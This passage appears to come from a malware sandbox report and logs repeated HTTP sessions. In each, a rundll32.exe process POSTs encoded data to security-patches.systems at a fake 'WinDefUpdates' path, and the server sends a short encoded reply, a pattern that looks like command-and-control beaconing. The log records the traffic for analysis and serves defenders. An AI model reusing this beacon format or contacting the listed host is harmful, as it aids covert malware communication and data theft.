Dec 6, 2024 22:20:16.568165064 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:16 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49747	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:16.825575113 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:18.258492947 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:17 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49748	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:18.513912916 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:19.962135077 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:19 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49749	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:20.236934900 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:21.682352066 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:21 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49750	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:21.950834036 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:23.401829004 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:23 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49751	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:23.676794052 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:25.116084099 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:24 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49752	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:25.373133898 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:26.924909115 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:26 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49753	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:27.185223103 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:28.638133049 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:28 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49754	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:28.904866934 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:30.350822926 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:30 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49755	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:30.621342897 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:32.059113979 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:31 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49756	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:32.345726013 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:33.778940916 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:33 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49757	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:34.041434050 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:35.515829086 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:35 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49760	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:35.777730942 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: 